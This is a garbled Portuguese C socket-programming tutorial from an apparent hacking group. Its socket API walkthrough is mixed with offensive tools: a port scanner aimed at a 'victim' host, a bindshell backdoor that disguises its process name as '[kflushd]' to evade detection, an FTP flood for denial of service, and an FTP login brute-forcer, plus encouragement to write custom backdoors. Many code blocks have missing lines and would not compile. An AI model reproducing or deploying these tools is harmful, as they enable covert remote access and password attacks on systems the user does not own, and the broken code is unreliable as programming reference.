Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
Existem alguns tipos de sockets, mas por enquanto vamos nos ater apenas a 2,
os dois mais simples..de modo que voc pode querer
------------*** HEADERS
-------------
----------------------------
main(){
int Meusocket;
...
}
-------------------------
struct sockaddr_in {
short int sin_family;
/* Familia do endereo */
/* nmero da porta */
sin_family pode ser uma variedade de coisas, mas geralmente se usam uma
dessas aqui:
+ AF_INET
+ AF_UNIX
+ AF_ISO
(ISO PROTOCOLS)
+ AF_NS
---------------------------
---------------------------
Onde:
sin_family so essas j explicadas acima; tipo_do_socket_desejado, no nosso caso
SOCK_STREAM ou SOCK_DGRAM; nmero_protocolo o nmero correspondente do
protocolo que se vai trabalhar,ex:
0 - IP - INTERNET PROTOCOL
1 - ICMP - INTERNET CONTROL MESSAGE PROTOCOL
2 - IGMP - INTERNET GROUP MULTICAST PROTOCOL
3 - GGP - GATEWAY-GATEWAY PROTOCOL
6 - TCP - TRANSMISSION CONTROL PROTOCOL
17 - UDP - USER DATAGRAMA PROTOCOL
main(){
int Meusocket; /* Declarando a variavel socket */
..
Meusocket = socket(AF_INET,SOCK_STREAM,0);
..
}
main(){
int Meusocket;
struct sockaddr_in vitima;
Meusocket = socket(AF_INET,SOCK_STREAM,0);
if(Meusocket < 0) /* Aqui faz-se uma simples checagem de erro */
{
perror("Socket"); //Envia erro a erro padro(
exit(1);
}
vitima.sin_family = AF_INET;
vitima.sin_port = htons(31337);
vitima.sin_addr.s_addr = inet_addr("200.100.100.1");
bzero(&(vitima.sin_zero),8);
...
}
| <sys/socket.h>
------------------------
Essa funo,como o prprio nome diz, a funo responsvel pela conexo de seu
socket cliente, com um servio servidor qualquer.
#include <sys/types.h>
#include <sys/socket.h>
Programa Completo
/* headers necessrios */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
main(){
int Meusocket;
struct sockaddr_in vitima;
int Conector;
Meusocket = socket(AF_INET,SOCK_STREAM,0);
if(Meusocket < 0) /* Aqui faz-se uma simples checagem de erro */
{
perror("Socket"); //Explica codigo de erro. Formato de erro que
possui uma documentao de forma a entender o que cada um significa.
exit(1);
}
vitima.sin_family = AF_INET;
vitima.sin_port = htons(31337);
vitima.sin_addr.s_addr = inet_addr("200.100.100.1");
bzero(&(vitima.sin_zero),8);
{
perror("Connect");
exit(1);
}
}
+ funo gethostbyname();
-------------------------
As vezes voc quer que ao invs de digitar o ip, voc quer digitar seu domain.
#include <netdb.h> /* Talvez haja variao desse header, bom dar um man
gethostbyname para se certificar!! */
Como se pode ver ele retorna um ponteiro para uma struct que possui a
seguinte declarao:
#define h_addr
h_addr_list[0]
struct
hostent {
char
*h_name;
char
**h_aliases;
/* Lista de aliases */
int
h_addrtype;
int
h_length;
/* Tamanho do endereo */
char
**h_addr_list;
/* Lista de endereos do
servidor de nomes */
};
h_name -> Nome oficial do host. //Nome do dominio. Ex: www.ip.com.br =>
ip.com.br. Util, caso busque a partir de um alias
h_aliases -> Uma array terminada em zero de nomes alternados para o host.
h_addrtype -> O tipo do endereo que est sendo retornado.Ex: AF_INET //Uma
constante inteira
h_length
h_addr_list -> Uma array terminado em zero do endereo da rede para o host.
O endereo do Host retornado em nbo(network byte order).
e a definio:
h_addr
+ funo getservbyport();
------------------------
Essa funo envia ou diz para voc qual o servio que est rodando numa
determinada porta,usando como referncia o seu arquivo /etc/services. bom
manter esse arquivo integro, seno receber resultados errados no exemplo que
logo seguir.
struct servent {
char
*s_name;
char
int
s_port;
/* nmero da porta */
char
*s_proto;
analizando:
s_name
------------------------------
-----------------------Exemplo de portscan-------------------------------
/* Headers necessarios */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <errno.h>
#include <netdb.h>
#define PORTA_INICIAL
#define PORTA_FINAL
1
7000
fprintf(stderr,"**********************************************************\n");
fprintf(stderr,"*************Simples PortScan usando
Connect()************\n");
fprintf(stderr,"****************Desenvolvido por Nash
Leon****************\n");
fprintf(stderr,"**********************************************************\n");
fprintf(stderr,"Uso: %s <host_vitima> <porta_inicial>
<porta_final>\n",argv[0])
;exit(0);
}
if (argc > 1)
{
porta_inicial = PORTA_INICIAL;
porta_final = PORTA_FINAL;
}
if (argc > 2)
{
porta_inicial = atoi (argv[2]);
porta_final = atoi (argv[3]);
}
/* Declarao de gethostbyname */
he = gethostbyname(argv[1]);
if(he == NULL)
{
printf("Erro: Host Desconhecido!!\n");
exit(-1);
}
if(meusocket < 0)
{
perror("Socket");
exit(1);
}
/* Abaixo a declarao da estrutura da vitima */
else
{
servio = getservbyport(htons(portas),"tcp");
printf("A porta %d esta aberta mano!! O servio
[%s]\n",portas,(servio == N
ULL) ? "Desconhecido" : servio-> s_name);
}
close(meusocket);
}
}
Essa funo serve para associar uma porta em sua mquina local para o seu
socket. Essa funo muito usada com outra funo, a listen().
onde:
/* Headers */
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#define MINHA_PORTA
20000
main(){
int Meusocket;
struct sockaddr_in meu_endereo;
----------------------
Essa funo tambm no tem nada demais. O seu nome tambm j diz o porque
de se usar ela. Ela escuta ou melhor dizendo, espera uma determinada
conexo em um socket. Para aceitar uma conexo, um socket primeiro criado
usando a funo socket(), aps a criao do mesmo, e depois de bind() a funo
listen() entra para setar o nmero de conexes que sero permitidas para
determinado servio.
/* Header */
#include <sys/socket>
onde:
+ Meusocket -> Nosso amigo de novo,o mesmo de sempre.
+ backlog
Como iremos permitir mais de uma conexo, se faz necessrio que declaremos
um outro socket() que ser o responsvel pelas futuras requisies de
conexo.
Um esquema prtico para a nossa funo listen, seria us-la em conjunto com
a funo bind() descrita acima. Ficaria assim:
/* Headers */
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
int Meusocket;
int NovoSocket;/* Este espera a vez dele, listen o enumerar para que faa
a conexo depois */
struct sockaddr_in local;
listen(Meusocket,5);
...
}
-----------------------
/* Headers */
#include <sys/types.h>
#include <sys/socket.h>
struct
sockaddr
*remoto,socklen_t *remotolen);
onde:
+remotolen
sizeof(struct sockadd_in).
/* Headers */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#define
MINHA_PORTA
20000
#define
BACKLOG
main(){
bzero(&local, sizeof(local));
/* Zera a estrutura */
local.sin_family = AF_INET;
local.sin_port = htons(29999);
local.sin_addr.s_addr = htonl(INADDR_ANY);/* aqui INADDR_ANY ser
responsvel por pegar nosso endereo diretamente do prprio sistema. */
-----------------------------
Esse programa copia uma shell para uma determinada porta. Ele amplamente
difundido na Internet com o nome de bindshell, mas possui muitas variaes.
Para propsitos educacionais, eu criei uma backdoor baseada nesse programa,
de modo que tornasse mais claro o nosso aprendizado.
/* HEADERS */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>
5 /* At quantas conexes */
/* Aqui segue a esperteza..se algum der ps aux, top, ou ver os processos que
esto rodando ver o que est copiado abaixo, no caso [kflushd],mude isso
conforme o sistema onde ser executada a backdoor */
strcpy(argv[0], "[kflushd]");
signal(SIGCHLD, SIG_IGN);
bzero(&local, sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(MINHA_PORTA);
local.sin_addr.s_addr = INADDR_ANY;
bzero(&(local.sin_zero), 8);
while(1)
{
if((Novosocket=accept(Meusocket, (struct sockaddr
*)&remote,&tamanho))==1) //Nmero no negativo, aceito
{
perror("accept");
exit(1);
}
/* Entao a shell executada, nesse caso uma bash. Mude-a para qualquer uma que
quiser, e ateno ao parmetro -i, nem todas aceitam shell interativa */
}
}
return(0);
}
Creio amigo, que backdoor pessoal, como a coisa vem "esquentando", o pessoal
da segurana tem trabalhado mais, cabe a voc pensar numa backdoor sua mesmo,
para determinado sistema.
/* Headers */
#include <sys/types.h>
#include <sys/socket.h>
int send(int Meusocket, const void *msg, size_t len, int flags);
onde:
+ Meusocket
+ *msg
+ len
transmitida.
+ flags
MSG_OOB
0x1
#define
MSG_DONTROUTE
0x4
/* debuga */
Uma boa olhada nas man pages de cada funo ajuda bastante, caso haja
dvidas nisso.
/* Headers */
#include <sys/types.h>
#include <sys/socket.h>
int recv(int Meusocket, void *buf, int len, unsigned int flags);
onde:
+ Meusocket
+ buf
+ len
+ flags
Abaixo seguem mais dois exemplos, estes envolvendo tudo que foi abordado
at agora. O primeiro exemplo um simples socket servidor.
---------------------------Servidor Simples------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
main()
{
int Meusocket, Novosocket;
meu_endereo.sin_family = AF_INET;
meu_endereo.sin_port = htons(MINHAPORTA);
meu_endereo.sin_addr.s_addr = INADDR_ANY; /* coloca IP automaticamente
*/
bzero(&(meu_endereo.sin_zero), 8);
*/
while(1) {
tamanho = sizeof(struct sockaddr_in);
if ((Novosocket = accept(Meusocket, (struct sockaddr
*)&endereo_dele,&tamanho)) < 0){
perror("accept");
continue;
}
printf("Servidor: chegando conexo de
%s\n",inet_ntoa(endereo_dele.sin_addr));
if (!fork()) {
if (send(Novosocket, "Seja bem vindo!\n", 16, 0) == -1)
{
perror("send");
close(Novosocket);
exit(0);
}
}
close(Novosocket);
while(waitpid(-1,NULL,WNOHANG) > 0); /* Limpa o processo
crianca.fork() */
}
}
----------------------------Servidor simples------------------------------
---------------------------Cliente Simples-------------------------------
/* Headers */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
if (argc != 2) {
if ((he=gethostbyname(argv[1])) == NULL)
{
herror("gethostbyname");
exit(1);
}
if ((Meusocket = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket");
exit(1);
}
seu_endereo.sin_family = AF_INET;
seu_endereo.sin_port = htons(PORTA);
seu_endereo.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(seu_endereo.sin_zero), 8);
buf[numbytes] = '\0';
printf("Recebido: %s",buf);
close(Meusocket);
return 0;
}
--------------------------------------------------------------------------
/* Headers necessrios */
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/types.h>
#include <netinet/in.h>
int main()
{
struct in_addr vitima;
int Meusocket;
struct sockaddr_in sa;
bzero(&sa, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port
= htons(21);
sa.sin_addr.s_addr = vitima.s_addr;
for(i=0;i<40;i++)
{
send(Meusocket, mkd, strlen(mkd), 0);
recv(Meusocket, buf, 1024,0);
if(!strlen(buf))
{
/* Header necessario */
#include <unistd.h>
onde:
+ Meusocket
+ *buf
+ count
#include <unistd.h>
que envia dados (uma sequncia de caracter A), atravs da funo write():
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#define A 0x41
if(argc == 1)
{
porta = atoi(argv[2]);
Meusocket=socket(AF_INET,SOCK_STREAM,0);
if(Meusocket < 0)
{
perror("Socket");
exit(-1);
}
he = gethostbyname (argv[1]);
if(he == NULL)
{
herror("Erro!Host desconhecido mano!\n");
exit(-1);
}
vitima.sin_family = he->h_addrtype;
vitima.sin_port = htons(porta);
vitima.sin_addr =*((struct in_addr *)he->h_addr);
bzero(&(vitima.sin_zero), 8);
bzero(buf,sizeof(buf));
if(write(Meusocket,buf,strlen(buf)) < 0)
{
printf("Erro em write()\n");
close(Meusocket);
exit(-1);
}
printf("Dados enviados com sucesso!\n");
close(Meusocket);
return 0;
}
-----------------------------------------------------------------------
Esse programa acima serve somente para enviar dados para um determinado
host e uma determinada porta, voc poderia muito bem declarar um servio
exemplo, ftp, onde se poderia tentar um DoS usando um simples esquema como:
sprintf(buffer,"USER %s",buf);
write(Meusocket,buffer,strlen(buffer));
Para a funo read(), eu fiz um exemplo mais prtico, mas um pouco grande,
de forma que tentei deixar o mais claro possvel a manipulao dessas duas
funes. O programa que segue abaixo um brutal force que trabalha em cima
de um login dado, ele bsico, faz coisas bsicas, mas voc poder fazer
com que ele seja otimizado, pense! E faa!! Brutal force uma tcnica,
embora muitos no consideram tcnica por causa do nome..:)..mas escrever
um brutal pode ser muito til..ainda hoje em dia na poca de firewalls, isso
ainda vlido.. Veja como o funcionamento do programa, lembre-se:
SABENDO FAZER UM O QUE TE IMPEDE DE FAZER TODOS?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
if(argc < 4)
{
system("clear");
fprintf(stderr,"\n\t\t\tNASH LEON BRUTAL FORCE v0.1\n\n\n");
fprintf(stderr,"Desenvolvido por Nash Leon e unsekurity
team!\n");
fprintf(stderr,"http://unsekurity.virtualave.net\n");
fprintf(stderr,"Uso: %s <vitima> <login> <modo>\n\n",argv[0]);
fprintf(stderr,"Onde modo pode ser:\n");
fprintf(stderr,"un -> somente passwd igual a login\n");
fprintf(stderr,"uns
fprintf(stderr,"unse
final(0 a 9)\n");
exit(0);
}
if(argv[3])
{
if(!strcmp(argv[3],"un"))
{
system("clear");
printf("********************** NASH LEON BRUTAL FORCE
v0.1 **********************\n");
printf("Executando modo \"un\" -> Somente senhas iguais
aos logins!!\n");
printf("Boa sorte mano!!\n");
Un(argv[2], argv[1]);
return 0;
}
if(!strcmp(argv[3],"uns"))
{
system("clear");
printf("*********************** NASH LEON BRUTAL FORCE
v0.1 ***********************\n");
printf("Executando em modo \"unsek\"
login ao contrario!!\n");
strcpy(senhar,argv[2]);
Uns(argv[2],senhar,argv[1]);
return 0;
}
if(!strcmp(argv[3],"unse")){
system("clear");
printf("********************** NASH LEON BRUTAL FORCE
v0.1 **********************\n");
printf("Executando em modo \"unse\"
login + nmero(0 a 9)\n");
printf("Boa Sorte Mano!!\n");
Unse(argv[2],argv[1]);
return 0;
}
if(!strcmp(argv[3],"unsek")){
system("clear");
printf("********************* NASH LEON BRUTAL FORCE v0.1
*********************\n");
printf("Executando em todos os modos possiveis desta
verso!!\n");
printf("Boa sorte mano!!\n");
Un(argv[2],argv[1]);
Uns(argv[3],senhar,argv[1]);
Unse(argv[2],argv[1]);
return 0;
}
}
modo_errado();
}
void modo_errado()
{
printf("Modo errado\n");
exit(1);
}
he = gethostbyname(vitima);
if (he < 0)
{
printf("Host Desconhecido mano!!\n");
exit(1);
}
Meusocket = socket(AF_INET, SOCK_STREAM, 0);
if(Meusocket < 0)
{
fprintf(stderr,"Erro no socket mano!!\n");
exit(1);
}
lascado.sin_family = he->h_addrtype;
lascado.sin_port = htons(porta);
lascado.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(lascado.sin_zero), 8);
len = read(Meusocket,recebe,strlen(recebe));
sprintf(templ,"USER %s\n",login);
if(read(Meusocket,envia,sizeof(envia)) < 0)
{
perror("read()");
return -1;
}
envia[(strlen(envia)-2)] = '\0';
write(Meusocket,saida,strlen(saida));
bzero((char *)&saida,sizeof(saida));
bzero((char *)&saida,sizeof(saida));
return 0;
}
bzero((char *)&envia,sizeof(envia));
bzero((char *)&recebe,sizeof(recebe));
bzero((char *)&saida,sizeof(saida));
sprintf(saida,"%s","QUIT");
write(Meusocket,saida,strlen(saida));
bzero((char *)&saida,sizeof(saida));
return 0;
}
{
int tamanho, i;
int porta = PORTA;
tamanho = strlen(nome1);
for(i = 0; i < tamanho; i++)
{
nome2[i] = (&nome1[tamanho-i]) [-1];
}
nome2[tamanho] = '\0';
atacar(host,porta,nome1,nome2);
}
----------------------------------------------------------------------
envia[(strlen(envia)-2)] = '\0';
http://www.lowtek.com/sockets/
http://www.ecst.csuchico.edu/~beej/guide/ne
http://www.auroraonline.com/sock-faq
http://kipper.york.ac.uk/~vic/sock-faq
http://packetstorm.securify.com/programming-tutorials/Sockets/
############################################################################
############################ UNSEKURITY TEAM ###############################
############################################################################
------------------
Segundo Texto-----------------
O Procedimento Socket
O Procedimento Close
close(socket)
O Procedimento bind
struct sockaddr {
u_char sa_len;
u_char sa_family;
/* famlia do endereo
*/
char sa_data[14];
*/
};
struct sockaddr_in {
u_char
sin_len;
*/
u_char
sin_family;
/* famlia do endereo
*/
*/
u_short sin_port;
struct
*/
char
sin_zero[8];
*/
};
O Procedimento Listen
servio esperado.
O Procedimento Accept
O Procedimento Connnect
Para entender por que faz sentido conectar com um socket que usa
transporte sem conexo, lembre que protocolos sem conexo exigem que o
struct msgstruct {
*/
struct
sockaddr
*m_saddr;
struct
datavec
*m_dvec;
*/
*/
int
m_dvlength;
struct
access
*/
direitos
int
*m_rights;
*/
m_alength;
*/
};
resposta.